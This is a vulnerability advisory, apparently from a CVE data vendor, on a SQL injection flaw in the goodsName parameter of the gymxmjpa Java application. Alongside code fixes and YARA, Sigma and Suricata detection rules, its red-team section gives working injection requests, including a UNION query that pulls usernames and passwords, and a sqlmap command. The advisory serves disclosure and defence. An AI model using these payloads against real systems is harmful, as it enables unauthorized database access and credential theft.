CVE-2025-0405
Executive Summary
CVE-2025-0405 is a critical SQL injection vulnerability discovered in the liujianview gymxmjpa application, version 1.0. The flaw resides in the GoodsDaoImpl class within the GoodsController.java file, where the goodsName argument is improperly sanitized before being used in database queries. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with any public package registry (NPM, PyPI, Go, Ruby). It is a standalone Java application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of a patch.
CVSS Breakdown & Threat Level
While a CVSS vector is not officially assigned, based on the public exploit details and the nature of the vulnerability, the following breakdown is estimated:
- Attack Vector (AV): Network (N) – The attack can be initiated remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component is the database.
- Confidentiality (C): High (H) – Full database read access is possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted or destroyed.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical – Public exploit, no patch, remote unauthenticated access.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in a Java Spring application. The GoodsController.java file exposes an endpoint that accepts a goodsName parameter. This parameter is passed directly to the GoodsDaoImpl class, which constructs a SQL query using string concatenation without parameterization.
Vulnerable Code Path:
- User sends a request to the endpoint (e.g.,
/goods/search?goodsName=value). - The controller extracts the
goodsNameparameter. - The
GoodsDaoImplmethod builds a query like:SELECT * FROM goods WHERE goodsName = '+ goodsName +' - An attacker can inject SQL by providing a value like:
' OR '1'='1
Impact:
- Data Exfiltration: Extract all records from the
goodstable or other tables using UNION-based injection. - Authentication Bypass: If the same pattern exists in login endpoints, attackers can bypass authentication.
- Database Takeover: On some database configurations, attackers can execute stored procedures or write files.
Vulnerable vs. Patched Code
Vulnerable Code (GoodsDaoImpl.java):
public List<Goods> searchGoods(String goodsName) {
String sql = "SELECT * FROM goods WHERE goodsName = '" + goodsName + "'";
// Execute query
}
Patched Code (Recommended):
public List<Goods> searchGoods(String goodsName) {
String sql = "SELECT * FROM goods WHERE goodsName = ?";
// Use prepared statement with parameterized query
// e.g., jdbcTemplate.query(sql, new Object[]{goodsName}, new BeanPropertyRowMapper<>(Goods.class));
}
The patched version uses a parameterized query (prepared statement) which ensures the goodsName input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running
liujianview gymxmjpaversion 1.0. - Network access to the vulnerable endpoint.
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/goods/search). - Inject SQL via the
goodsNameparameter.
Proof-of-Concept (PoC) Request:
GET /goods/search?goodsName=' OR '1'='1' -- HTTP/1.1
Host: target.com
Advanced Exploitation (UNION-based):
GET /goods/search?goodsName=' UNION SELECT null,username,password,null FROM users -- HTTP/1.1
Host: target.com
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/goods/search?goodsName=test" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor for SQL-like patterns in HTTP request parameters (e.g.,
' OR,UNION,--). - Use Web Application Firewall (WAF) rules to block suspicious input.
Honeypot:
- Deploy a decoy endpoint mimicking the vulnerable service to capture attacker behavior.
Log Analysis:
- Look for database error messages in application logs (e.g.,
SQLSyntaxErrorException).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL keywords in the
goodsNameparameter. - Requests with unusual characters like single quotes (
'), double dashes (--), or semicolons (;).
File IOCs:
- Modified database entries in the
goodstable. - Unexpected files written to the server filesystem (if database user has file write privileges).
Log IOCs:
- Application logs showing
SQLSyntaxErrorExceptionorDataIntegrityViolationException. - Database logs showing unexpected queries from the application user.
Detection Engineering
YARA Rule
rule CVE_2025_0405_SQLi_GoodsName {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0405"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-0405"
strings:
$sqli1 = /goodsName=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i
$sqli2 = /goodsName=.*--/
$sqli3 = /goodsName=.*;/
condition:
any of them
}
Sigma Rule
title: CVE-2025-0405 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the goodsName parameter in gymxmjpa
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "goodsName='"
- "goodsName=%27"
- "goodsName=*' OR"
- "goodsName=*UNION"
condition: selection
falsepositives:
- Legitimate use of special characters in product names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0405 SQL Injection Attempt"; flow:to_server,established; content:"goodsName"; http_uri; nocase; pcre:"/goodsName=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application from the internet if possible.
- Apply a virtual patch using a WAF to block SQL injection patterns in the
goodsNameparameter. - Disable the vulnerable endpoint if not critical.
Long-term Fix:
- Rewrite the code to use parameterized queries (prepared statements) as shown in the patched code section.
- Implement input validation – allow only alphanumeric characters and spaces in
goodsName. - Conduct a full security audit of the application for similar vulnerabilities.
Monitoring:
- Enable detailed logging for all database queries.
- Set up alerts for SQL injection patterns in web logs.
Valters IT